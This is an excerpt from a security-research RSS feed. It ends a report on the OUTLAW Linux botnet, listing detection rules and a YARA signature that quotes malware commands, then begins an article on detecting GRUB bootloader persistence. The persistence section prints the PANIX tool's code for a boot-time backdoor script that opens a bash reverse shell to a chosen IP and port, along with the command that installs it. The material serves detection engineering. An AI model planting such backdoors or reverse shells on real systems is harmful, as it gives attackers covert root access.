<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/lateral_movement_remote_file_creation_world_writeable_dir.toml">Remote File Creation in World Writeable Directory</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/lateral_movement_unusual_remote_file_creation.toml">Unusual Remote File Creation</a></li>
</ul>
<p>Additionally, upon copying the OUTLAW malware to a remote host, malware prevention alerts kick in.</p>
<h3>TA009: Collection &amp; TA010: Exfiltration</h3>
<p>OUTLAW collects basic system information, credentials, and SSH details from compromised machines, primarily for tracking infected hosts and facilitating further attacks. This data is stored in a simple text file before being uploaded to a C2 server. Since this collection activity is limited to gathering system details and writing them to a file, it is not inherently suspicious on its own.</p>
<p>Exfiltration occurs when OUTLAW initiates an outbound SSH connection via sftp-server to transfer the collected information to a predefined C2 server. While this may resemble normal SSH activity, we can detect suspicious execution of file transfer utilities through ES|QL:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/exfiltration_unusual_file_transfer_utility_launched.toml">Unusual File Transfer Utility Launched</a></li>
</ul>
<h3>TA011: Command and Control</h3>
<p>OUTLAW maintains communication with its C2 infrastructure through multiple channels, allowing attackers to issue commands, exfiltrate data, and manage infected systems. We can detect several of the utilities used by the malware through the following rules:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/fbebc6f98eb1070bd96235ea432158756b3f2038/behavior/rules/linux/execution_socat_reverse_shell_or_listener_activity.toml">Socat Reverse Shell or Listener Activity</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/command_and_control_frequent_egress_netcon_from_sus_executable.toml">High Number of Egress Network Connections from Unusual Executable</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/command_and_control_suspicious_network_activity_from_unknown_executable.toml">Suspicious Network Activity to the Internet by Previously Unknown Executable</a>.</li>
</ul>
<p>The same hunting queries that were relevant for detecting the malware’s initial access attempts, can also be used to hunt for this C2 activity. Additionally, the following hunting queries can be used:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/hunting/linux/queries/low_volume_external_network_connections_from_process.toml">Low Volume External Network Connections from Process by Unique Agent</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/hunting/linux/queries/command_and_control_via_unusual_file_downloads_from_source_addresses.toml">Unusual File Downloads from Source Addresses</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/hunting/linux/queries/excessive_ssh_network_activity_unique_destinations.toml">Excessive SSH Network Activity to Unique Destinations</a></li>
</ul>
<h3>TA040: Impact</h3>
<p>OUTLAW impacts infected systems by consuming CPU resources for cryptocurrency mining and performing SSH brute-force attacks to propagate. Several CPU and memory optimizations are attempted before launching the modified XMRIG mining software, including enabling MSR write access and setting kernel parameters such as hugepages. These modifications can be detected through the following rules:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/defense_evasion_suspicious_kernel_feature_activity.toml">Suspicious Kernel Feature Activity</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/impact_msr_write_access_enabled.toml">MSR Write Access Enabled</a></li>
</ul>
<p>As OUTLAW attempts to enable MSR write access via modprobe but lacks the required permissions, kernel driver-related rules are triggered:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules/linux/persistence_kernel_driver_load_by_non_root.toml">Kernel Driver Load by Non-Root User</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules/linux/persistence_kernel_driver_load.toml">Kernel Driver Load</a></li>
</ul>
<p>These rules directly monitor for <code>init_module()</code> and <code>finit_module()</code> syscalls, through <a href="https://www.elastic.co/de/guide/en/integrations/current/auditd.html">Auditd</a>. For more information on how to set up the <a href="https://www.elastic.co/de/guide/en/integrations/current/auditd_manager.html">Auditd Manager integration</a> to capture driver events and much more, check out the <a href="https://www.elastic.co/de/security-labs/linux-detection-engineering-with-auditd">Linux Detection Engineering with Auditd</a> publication.</p>
<p>Simultaneously, SSH brute-force attempts are launched from the infected host, triggering:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/impact_potential_bruteforce_malware_infection.toml">Potential Malware-Driven SSH Brute Force Attempt</a></li>
</ul>
<p>Throughout its execution, OUTLAW runs kill scripts to terminate competing malware or leftover processes from previous infections. This behavior triggers:</p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/defense_evasion_kill_command_executed.toml">Kill Command Executed</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/cross-platform/execution_kill_command_executed_from_binary_in_unusual_location.toml">Kill Command Executed from Binary in Unusual Location</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/cross-platform/defense_evasion_kill_command_executed_from_a_hidden_process.toml">Kill Command Executed from a Hidden Process</a></li>
</ul>
<h2>Indicators of Compromise (IOCs)</h2>
<p>The complete set of indicators can be found as a bundle on <a href="https://github.com/elastic/labs-releases/tree/main/indicators/outlaw">Github</a>.</p>
<h4>Yara Signatures</h4>
<pre><code class="language-yara">rule Linux_Hacktool_Outlaw_cf069e73 {
    meta:
        author = &quot;Elastic Security&quot;
        description = &quot;OUTLAW SSH bruteforce component fom the Dota3 package&quot;
        reference_sample = &quot;c3efbd6b5e512e36123f7b24da9d83f11fffaf3023d5677d37731ebaa959dd27&quot;
      
    strings:
        $ssh_key_1 = &quot;MIIJrTBXBgkqhkiG9w0BBQ0wSjApBgkqhkiG9w0BBQwwHAQI8vKBZRGKsHoCAggA&quot;
        $ssh_key_2 = &quot;MAwGCCqGSIb3DQIJBQAwHQYJYIZIAWUDBAECBBBC3juWsJ7DsDd2wH2XI+vUBIIJ&quot;
        $ssh_key_3 = &quot;UCQ2viiVV8pk3QSUOiwionAoe4j4cBP3Ly4TQmpbLge9zRfYEUVe4LmlytlidI7H&quot;
        $ssh_key_4 = &quot;O+bWbjqkvRXT9g/SELQofRrjw/W2ZqXuWUjhuI9Ruq0qYKxCgG2DR3AcqlmOv54g&quot;
        $path_1 = &quot;/home/eax/up&quot;
        $path_2 = &quot;/var/tmp/dota&quot;
        $path_3 = &quot;/dev/shm/ip&quot;
        $path_4 = &quot;/dev/shm/p&quot;
        $path_5 = &quot;/var/tmp/.systemcache&quot;
        $cmd_1 = &quot;cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'&quot;
        $cmd_2 = &quot;cd ~; chattr -ia .ssh; lockr -ia .ssh&quot;
        $cmd_3 = &quot;sort -R b | awk '{ if ( NF == 2 ) print } '&gt; p || cat b | awk '{ if ( NF == 2 ) print } '&gt; p; sort -R a&quot;
        $cmd_4 = &quot;rm -rf /var/tmp/dota*&quot;
        $cmd_5 = &quot;rm -rf a b c d p ip ab.tar.gz&quot;
    condition:
        (all of ($ssh_key*)) or (3 of ($path*) and 3 of ($cmd*))
}
</code></pre>
<h4>SIEM and Endpoint Rules Overview by MITRE ATT&amp;CK Tactic</h4>
<table>
<thead>
<tr>
<th>Technique ID</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>TA001: Initial Access</strong></td>
<td><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/linux/credential_access_potential_linux_ssh_bruteforce_external.toml">Potential External Linux SSH Brute Force Detected</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/linux/credential_access_potential_successful_linux_ssh_bruteforce.toml">Potential Successful SSH Brute Force Attack</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_first_time_public_key_authentication.toml">Successful SSH Authentication from Unusual SSH Public Key</a> &lt;br /&gt;        <a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_successful_ssh_authentication_by_unusual_user.toml">Successful SSH Authentication from Unusual User</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/initial_access_successful_ssh_authentication_by_unusual_ip.toml">Successful SSH Authentication from Unusual IP Address</a></td>
</tr>
<tr>
<td><strong>TA002: Execution</strong></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/behavior/rules/linux/persistence_file_downloaded_from_suspicious_source_by_web_server.toml">File Downloaded from Suspicious Source by Web Server</a> &lt;br /&gt; <a href="https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/yara/rules/Linux_Trojan_Pornoasset.yar">Linux.Trojan.Pornoasset</a> &lt;br /&gt; <a href="https://github.com/elastic/protections-artifacts/blob/1c9c6c33c20294422cfefb53c3f1f596bf308c7a/behavior/rules/linux/execution_script_executed_through_unusual_parent_process.toml">Script Executed Through Unusual Parent Process</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/692a1382bf119c4b95e482fd6f64302528b0d813/rules/linux/execution_suspicious_executable_running_system_commands.toml">Suspicious System Commands Executed by Previously Unknown Executable</a></td>
</tr>
<tr>
<td><strong>TA003: Persistence</strong></td>
<td><a href="https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_cron_job_creation.toml">Cron Job Created or Modified</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/cross-platform/persistence_ssh_authorized_keys_modification.toml">SSH Authorized Keys File Modification</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/main/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td><strong>TA005: Defense Evasion</strong></td>
<td><a href="https://github.com/elastic/detection-rules/blob/b9e8115c2fb55c328ea8e9830c96ce37d2f316c5/rules/linux/defense_evasion_interpreter_launched_from_decoded_payload.toml">Base64 Decoded Payload Piped to Interpreter</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/b9e8115c2fb55c328ea8e9830c96ce37d2f316c5/rules/linux/defense_evasion_base64_decoding_activity.toml">Unusual Base64 Encoding/Decoding Activity</a></td>
</tr>
<tr>
<td><strong>TA006: Credential Access</strong></td>
<td><a href="https://github.com/elastic/detection-rules/blob/bd62867465d6144783ce23d571083a7e982b6251/rules/cross-platform/persistence_ssh_authorized_keys_modification.toml">SSH Authorized Keys File Modification</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/defense_evasion_authorized_keys_file_deletion.toml">SSH Authorized Keys File Deletion</a> &lt;br /&gt; <a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/persistence_user_credential_modification_via_echo.toml">Linux User Account Credential Modification</a></td>
</tr>
<tr>
<td><strong>TA007: Discovery</strong></td>
<td><a href="https://github.com/elastic/detection-rules/blob/0b98462cfe3499ed560f4bd0e97090533cf8a64d/rules_building_block/discovery_linux_system_information_discovery.toml">Linux System Information Discovery</a></td>
</tr>
<tr>
<td><strong>TA008: Lateral Movement</strong></td>
<td><a href="https://github.com/elastic/detection-rules/blob/e28512a32fc643651a6bc91444e460ca8f5164be/rules/linux/discovery_port_scanning_activity_from_compromised_host.toml">Potential Port Scanning Activity from Compromised Host</a></td>
</tr>
<tr>
<td><strong>TA009 &amp; TA010: Collection &amp; Exfiltration</strong></td>
<td><a href="https://github.com/elastic/detection-rules/blob/467034ee5b97902421c24c94107e517b15db4062/rules/linux/exfiltration_unusual_file_transfer_utility_launched.toml">Unusual File Transfer Utility Launched</a></td>
</tr>
<tr>
<td><strong>TA011: Command and Control</strong></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/fbebc6f98eb1070bd96235ea432158756b3f2038/behavior/rules/linux/execution_socat_reverse_shell_or_listener_activity.toml">Socat Reverse Shell or Listener Activity</a></td>
</tr>
<tr>
<td><strong>TA040: Impact</strong></td>
<td><a href="https://github.com/elastic/protections-artifacts/blob/3fac07906582ca9615d0e291a4629445fd5ca37b/behavior/rules/linux/defense_evasion_suspicious_kernel_feature_activity.toml">Suspicious Kernel Feature Activity</a></td>
</tr>
</tbody>
</table>
<h2>Conclusion</h2>
<p>OUTLAW exemplifies how even unsophisticated malware can persist and scale effectively in modern environments. Despite lacking advanced evasion techniques, its combination of SSH brute-force attacks, self-replication, and modular components allows it to maintain a long-running botnet. OUTLAW ensures continuous expansion with minimal attacker intervention by leveraging compromised hosts to propagate infections further.</p>
<p>Our honeypot experiment provided a rare glimpse into the attacker's real-world behavior, confirming that while much of OUTLAW’s operation is automated, there are moments of direct human interaction. The ability to observe manual commands, reconnaissance attempts, and even simple typographical errors highlights an often-overlooked aspect of botnet maintenance—operator-driven quality control. These insights reinforce the need for detection strategies that account not just for automated attacks but also for manual post-compromise activity.</p>
<p>By understanding how OUTLAW operates, spreads, and monetizes infections, defenders can develop robust detection strategies to mitigate its impact. This report provides actionable SIEM rules, threat-hunting queries, and forensic insights, enabling security teams to stay ahead of similar evolving threats.</p>
<h2>References</h2>
<p>[1] CounterCraft, <a href="https://www.countercraftsec.com/blog/dota3-malware-again-and-again/">DOTA3 Malware Again and Again</a></p>
<p>[2] Juniper Networks, <a href="https://blogs.juniper.net/en-us/threat-research/dota3-is-your-internet-of-things-device-moonlighting">DOTA3: Is Your Internet of Things Device Moonlighting?</a></p>
<p>[3] SANS ISC, <a href="https://isc.sans.edu/diary/Hygiene+Hygiene+Hygiene+Guest+Diary/31260">Hygiene Hygiene Hygiene</a></p>
<p>[4] Darktrace, <a href="https://darktrace.com/blog/outlaw-returns-uncovering-returning-features-and-new-tactics">Outlaw Returns: Uncovering Returning Features and New Tactics</a></p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/de/security-labs/assets/images/outlaw-linux-malware/outlaw.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Linux Detection Engineering - The Grand Finale on Linux Persistence]]></title>
            <link>https://www.elastic.co/de/security-labs/the-grand-finale-on-linux-persistence</link>
            <guid>the-grand-finale-on-linux-persistence</guid>
            <pubDate>Thu, 27 Feb 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[By the end of this series, you'll have a robust knowledge of both common and rare Linux persistence techniques; and you'll understand how to effectively engineer detections for common and advanced adversary capabilities.]]></description>
            <content:encoded><![CDATA[<h1>Introduction</h1>
<p>Welcome to the grand finale of the “Linux Persistence Detection Engineering” series! In this fifth and final part, we continue to dig deep into the world of Linux persistence. Building on the foundational concepts and techniques explored in the previous publications, this post discusses some more obscure, creative and/or complex backdoors and persistence mechanisms.</p>
<p>If you missed the earlier articles, they lay the groundwork by exploring key persistence concepts. You can catch up on them here:</p>
<ul>
<li><a href="https://www.elastic.co/de/security-labs/primer-on-persistence-mechanisms"><em>Linux Detection Engineering - A Primer on Persistence Mechanisms</em></a></li>
<li><a href="https://www.elastic.co/de/security-labs/sequel-on-persistence-mechanisms"><em>Linux Detection Engineering - A Sequel on Persistence Mechanisms</em></a></li>
<li><a href="https://www.elastic.co/de/security-labs/continuation-on-persistence-mechanisms"><em>Linux Detection Engineering - A Continuation on Persistence Mechanisms</em></a></li>
<li><a href="https://www.elastic.co/de/security-labs/approaching-the-summit-on-persistence"><em>Linux Detection Engineering - Approaching the Summit on Persistence Mechanisms</em></a></li>
</ul>
<p>In this publication, we’ll provide insights into these persistence mechanisms by showcasing:</p>
<ul>
<li>How each works (theory)</li>
<li>How to set each up (practice)</li>
<li>How to detect them (SIEM and Endpoint rules)</li>
<li>How to hunt for them (ES|QL and OSQuery reference hunts)</li>
</ul>
<p>To make the process even more engaging, we will be leveraging <a href="https://github.com/Aegrah/PANIX">PANIX</a>, a custom-built Linux persistence tool designed by Ruben Groenewoud of Elastic Security. PANIX allows you to streamline and experiment with Linux persistence setups, making it easy to identify and test detection opportunities.</p>
<p>By the end of this series, you'll have a robust knowledge of both common and rare Linux persistence techniques; and you'll understand how to effectively engineer detections for common and advanced adversary capabilities. Are you ready to uncover the final pieces of the Linux persistence puzzle? Let’s dive in!</p>
<h1>Setup note</h1>
<p>To ensure you are prepared to detect the persistence mechanisms discussed in this article, it is important to <a href="https://www.elastic.co/de/guide/en/security/current/prebuilt-rules-management.html#update-prebuilt-rules">enable and update our pre-built detection rules</a>. If you are working with a custom-built ruleset and do not use all of our pre-built rules, this is a great opportunity to test them and potentially fill any gaps. Now, we are ready to get started.</p>
<h1>T1542 - Pre-OS Boot: GRUB Bootloader</h1>
<p><a href="https://www.gnu.org/software/grub/manual/grub/grub.html">GRUB (GRand Unified Bootloader)</a> is a widely used bootloader in Linux systems, responsible for loading the kernel and initializing the operating system. GRUB provides a flexible framework that supports various configurations, making it a powerful tool for managing the boot process. It acts as an intermediary between the system firmware (<a href="https://en.wikipedia.org/wiki/BIOS">BIOS</a>/<a href="https://en.wikipedia.org/wiki/UEFI">UEFI</a>) and the operating system. When a Linux system is powered on, the following sequence typically occurs:</p>
<ol>
<li>
<h3><strong>System Firmware</strong></h3>
</li>
</ol>
<ul>
<li>BIOS or UEFI initializes hardware components (e.g., CPU, RAM, storage devices) and performs a POST (Power-On Self-Test).</li>
<li>It then locates the bootloader on the designated boot device (usually based on boot priority settings).</li>
</ul>
<ol start="2">
<li>
<h3><strong>GRUB Bootloader</strong></h3>
</li>
</ol>
<ul>
<li>GRUB is loaded into memory.</li>
<li>It displays a menu (if enabled) that allows users to select an operating system, kernel version, or recovery mode.</li>
<li>GRUB loads the kernel image (<code>vmlinuz</code>) into memory, as well as the initramfs/initrd image (<code>initrd.img</code>), which is a temporary root filesystem used for initial system setup (e.g., loading kernel modules for filesystems and hardware).</li>
<li>GRUB passes kernel parameters (e.g., the location of the root filesystem, boot options) and hands over control to the kernel.</li>
</ul>
<ol start="3">
<li>
<h3><strong>Kernel Execution</strong></h3>
</li>
</ol>
<ul>
<li>The kernel is unpacked and initialized. It begins detecting and initializing system hardware.</li>
<li>The kernel mounts the root filesystem specified in the kernel parameters.</li>
<li>It starts the init system (traditionally <code>init</code>, now often <code>systemd</code>), which is the first process (<code>PID 1</code>) that initializes and manages the user space.</li>
<li>The <code>init</code> system sets up services, mounts filesystems, and spawns user sessions.</li>
</ul>
<p>GRUB’s configuration system is flexible and modular, enabling administrators to define bootloader behavior, kernel parameters, and menu entries. All major distributions use <code>/etc/default/grub</code> as the primary configuration file for GRUB. This file contains high-level options, such as default kernel parameters, boot timeout, and graphical settings. For example:</p>
<pre><code>GRUB_TIMEOUT=5                       # Timeout in seconds for the GRUB menu
GRUB_DEFAULT=0                       # Default menu entry to boot
GRUB_CMDLINE_LINUX_DEFAULT=&quot;quiet splash resume=/dev/sda2&quot; # Common kernel parameters
GRUB_CMDLINE_LINUX=&quot;init=/bin/bash audit=1&quot; # Additional kernel parameters
</code></pre>
<p>To enhance flexibility, GRUB supports a modular approach to configuration through script directories. These are typically located in <code>/etc/default/grub.d/</code> (Ubuntu/Debian) and <code>/etc/grub.d/</code> (Fedora/CentOS/RHEL). The scripts in these directories are combined into the final configuration during the update process.</p>
<p>Prior to boot, the GRUB bootloader must be compiled. The compiled GRUB configuration file is the final output used by the bootloader at runtime. It is generated from the settings in <code>/etc/default/grub</code> and the modular scripts in <code>/etc/grub.d/</code> (or similar directories and files for other distributions). This configuration is then stored in <code>/boot/grub/grub.cfg</code> for BIOS systems, and <code>/boot/efi/EFI/&lt;distro&gt;/grub.cfg</code> for UEFI systems.</p>
<p>On Ubuntu and Debian-based systems, the <code>update-grub</code> command is used to generate the GRUB configuration. For Fedora, CentOS, and RHEL systems, the equivalent command is <code>grub2-mkconfig</code>. Upon generation of the configuration, the following events occur:</p>
<ol>
<li><strong>Scripts Execution</strong>:</li>
</ol>
<ul>
<li>All modular scripts in <code>/etc/default/grub.d/</code> or <code>/etc/grub.d/</code> are executed in numerical order.</li>
</ul>
<ol start="2">
<li><strong>Settings Aggregation</strong>:</li>
</ol>
<ul>
<li>Parameters from <code>/etc/default/grub</code> and modular scripts are merged.</li>
</ul>
<ol start="3">
<li><strong>Menu Entries Creation</strong>:</li>
</ol>
<ul>
<li>GRUB dynamically detects installed kernels and operating systems and creates corresponding menu entries.</li>
</ul>
<ol start="4">
<li><strong>Final Compilation</strong>:</li>
</ol>
<ul>
<li>The combined configuration is written to <code>/boot/grub/grub.cfg</code> (or the UEFI equivalent path), ready to be used at the next boot.</li>
</ul>
<p>Attackers can exploit GRUB’s flexibility and early execution in the boot process to establish persistence. By modifying GRUB configuration files, they can inject malicious parameters or scripts that execute with root privileges before the operating system fully initializes. Attackers can:</p>
<ol>
<li><strong>Inject Malicious Kernel Parameters</strong>:</li>
</ol>
<ul>
<li>Adding parameters like <code>init=/payload.sh</code> in <code>/etc/default/grub</code> or directly in the GRUB menu at boot forces the kernel to execute a malicious script instead of the default <code>init</code> system.</li>
</ul>
<ol start="2">
<li><strong>Modify Menu Entries</strong>:</li>
</ol>
<ul>
<li>Attackers can alter menu entries in <code>/etc/grub.d/</code> to include unauthorized commands or point to malicious kernels.</li>
</ul>
<ol start="3">
<li><strong>Create Hidden Boot Entries</strong>:</li>
</ol>
<ul>
<li>Adding extra boot entries with malicious configurations that are not displayed in the GRUB menu.</li>
</ul>
<p>As GRUB operates before the system’s typical EDR and other solution mechanisms are active, this technique is especially hard to detect. Additionally, knowledge scarcity around these types of attacks makes detection difficult, as malicious parameters or entries can appear similar to legitimate configurations, making manual inspection prone to oversight.</p>
<p>GRUB manipulation falls under <a href="https://attack.mitre.org/techniques/T1542/">T1542: Pre-OS Boot</a> in the MITRE ATT&amp;CK framework. This technique encompasses attacks targeting bootloaders to gain control before the operating system initializes. Despite its significance, there is currently no dedicated sub-technique for GRUB-specific attacks.</p>
<p>In the next section, we’ll explore how attackers can establish persistence through GRUB by injecting malicious parameters and modifying bootloader configurations.</p>
<h1>Persistence through T1542 - Pre-OS Boot: GRUB Bootloader</h1>
<p>In this section we will be looking at the technical details related to GRUB persistence. To accomplish this, we will be leveraging the <a href="https://github.com/Aegrah/PANIX/blob/7e27768807e12d11932e2fca5b6a4867308295dd/modules/setup_grub.sh">setup_grub.sh</a> module from <a href="https://github.com/Aegrah/PANIX">PANIX</a>, a custom-built Linux persistence tool. By simulating this technique, we will be able to research potential detection opportunities.</p>
<p>The GRUB module detects the Linux distribution it is running on, and determines the correct files to modify, and support tools necessary to establish persistence. There is no compatibility built into PANIX for Fedora-based operating systems within this module, due to the restricted environment available within the boot process. PANIX determines whether the payload is already injected, and if not, creates a custom configuration (<code>cfg</code>) file containing the <code>init=/grub-panix.sh</code> parameter. GRUB configuration files are loaded in ascending order, based on the modules’ numeric prefix. To ensure the injected module is loaded last, the priority is set to 99.</p>
<pre><code>local grub_custom_dir=&quot;/etc/default/grub.d&quot;
local grub_custom_file=&quot;${grub_custom_dir}/99-panix.cfg&quot;

echo &quot;[*] Creating custom GRUB configuration file: $grub_custom_file&quot;
cat &lt;&lt;EOF &gt; &quot;$grub_custom_file&quot;
# Panix GRUB persistence configuration
GRUB_CMDLINE_LINUX_DEFAULT=&quot;$GRUB_CMDLINE_LINUX_DEFAULT init=/grub-panix.sh&quot;
EOF
</code></pre>
<p>After this configuration file is in place, the <code>/grub-panix.sh</code> script is created, containing a payload that sleeps for a certain amount of time (to ensure networking is available), after which it executes a reverse shell payload, detaching itself from its main process to ensure no hang ups.</p>
<pre><code>payload=&quot;( sleep 10; nohup setsid bash -c 'bash -i &gt;&amp; /dev/tcp/${ip}/${port} 0&gt;&amp;1' &amp; disown ) &amp;&quot;

local init_script=&quot;/grub-panix.sh&quot;
echo &quot;[*] Creating backdoor init script at: $init_script&quot;
cat &lt;&lt;EOF &gt; &quot;$init_script&quot;
#!/bin/bash
# Panix GRUB Persistence Backdoor (Ubuntu/Debian)
(
	echo &quot;[*] Panix backdoor payload will execute after 10 seconds delay.&quot;
	${payload}
	echo &quot;[+] Panix payload executed.&quot;
) &amp;
exec /sbin/init
EOF
</code></pre>
<p>After these files are in place, all that is left is to update GRUB to contain the embedded backdoor module by running <code>update-grub</code>.</p>
<p>Let’s take a look at what this process looks like from a detection engineering perspective. Run the PANIX module through the following command:</p>
<pre><code>&gt; sudo ./panix.sh --grub --default --ip 192.168.1.100 --port 2014
[*] Creating backdoor init script at: /grub-panix.sh
[+] Backdoor init script created and made executable.
[*] Creating custom GRUB configuration file: /etc/default/grub.d/99-panix.cfg
[+] Custom GRUB configuration file created.
[*] Backing up /etc/default/grub to /etc/default/grub.bak...
[+] Backup created at /etc/default/grub.bak
[*] Running 'update-grub' to apply changes...
Sourcing file `/etc/default/grub'
Sourcing file `/etc/default/grub.d/99-panix.cfg'
Sourcing file `/etc/default/grub.d/init-select.cfg'
Generating grub configuration file ...
[+] GRUB configuration updated. Reboot to activate the payload.
</code></pre>
<p>Upon execution of the module, and rebooting the machine, the following documents can be observed in Kibana:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/the-grand-finale-on-linux-persistence/image3.png" alt="PANIX GRUB module execution visualized in Kibana" /></p>
<p>Upon execution of PANIX, we can see a backup of <code>/etc/default/grub</code>, a new modular grub configuration, <code>/etc/default/grub.d/99-panix.cfg</code>, and the backdoor payload (<code>/grub-panix.sh</code>) being created. After granting the backdoor the necessary execution permissions, GRUB is updated through the <code>update-grub</code> executable, and the backdoor is now ready. Upon reboot, <code>/grub-panix.sh</code> is executed by <code>init</code>, which is <code>systemd</code> for most modern operating systems, successfully executing the reverse shell chain of <code>/grub-panix.sh</code> → <code>nohup</code> → <code>setsid</code> → <code>bash</code>. The reason its <code>event.action</code> value is <code>already-running</code>, is due to the payload being executed during the boot process, prior to the initialization of Elastic Defend. Depending on the boot stage of execution, Elastic Defend will be able to capture missed events with this <code>event.action</code>, allowing us to still detect the activity.</p>
<p>Let’s take a look at the coverage:</p>
<p><em>Detection and endpoint rules that cover GRUB bootloader persistence</em></p>
<table>
<thead>
<tr>
<th align="left">Category</th>
<th align="left">Coverage</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">File</td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_grub_configuration_creation.toml">GRUB Configuration File Creation</a></td>
</tr>
<tr>
<td align="left"></td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_grub_makeconfig.toml">GRUB Configuration Generation through Built-in Utilities</a></td>
</tr>
<tr>
<td align="left"></td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/integrations/fim/persistence_suspicious_file_modifications.toml">Potential Persistence via File Modification</a></td>
</tr>
<tr>
<td align="left">Process</td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_boot_file_copy.toml">Boot File Copy</a></td>
</tr>
<tr>
<td align="left"></td>
<td align="left"><a href="https://github.com/elastic/detection-rules/blob/2bb46899aea8571172687927b8084695bec44a62/rules/linux/persistence_systemd_shell_execution.toml">Systemd Shell Execution During Boot</a></td>
</tr>
</tbody>
</table>
<p>You can revert the changes made by PANIX by running the following revert command:</p>
<pre><code>&gt; ./panix.sh --revert grub

[*] Reverting GRUB persistence modifications...
[*] Restoring backup of /etc/default/grub from /etc/default/grub.bak...
[+] /etc/default/grub restored.
[*] Removing /etc/default/grub.d/99-panix.cfg...
[+] /etc/default/grub.d/99-panix.cfg removed.
[*] /grub-panix.sh not found; nothing to remove.
[*] Updating GRUB configuration...
[...]
[+] GRUB configuration updated.
[+] GRUB persistence reverted successfully.
</code></pre>
<h1>Hunting for T1542 - Pre-OS Boot: GRUB Bootloader</h1>
<p>Other than relying on detections, it is important to incorporate threat hunting into your workflow, especially for persistence mechanisms like these, where events can potentially be missed due to timing or environmental constraints. This publication lists the available hunts for GRUB bootloader persistence; however, more details regarding the basics of threat hunting are outlined in the  “<em>Hunting for T1053 - scheduled task/job</em>” section of “<a href="https://www.elastic.co/de/security-labs/primer-on-persistence-mechanisms"><em>Linux Detection Engineering -  A primer on persistence mechanisms</em></a>”. Additionally, descriptions and references can be found in our <a href="https://github.com/elastic/detection-rules">Detection Rules repository</a>, specifically in the <a href="https://github.com/elastic/detection-rules/tree/main/hunting">Linux hunting subdirectory</a>.</p>
<p>We can hunt for GRUB bootloader persistence through <a href="https://www.elastic.co/de/guide/en/elasticsearch/reference/current/esql.html">ES|QL</a> and <a href="https://www.elastic.co/de/guide/en/kibana/current/osquery.html">OSQuery</a>, focusing on file creations, modifications, and executions related to GRUB configurations. The approach includes monitoring for the following:</p>
<ol>
<li><strong>Creations and/or modifications to GRUB configuration files</strong>: Tracks changes to critical files such as the GRUB configuration file and modules, and the compiled GRUB binary. These files are essential for bootloader configurations and are commonly targeted for GRUB-based persistence.</li>
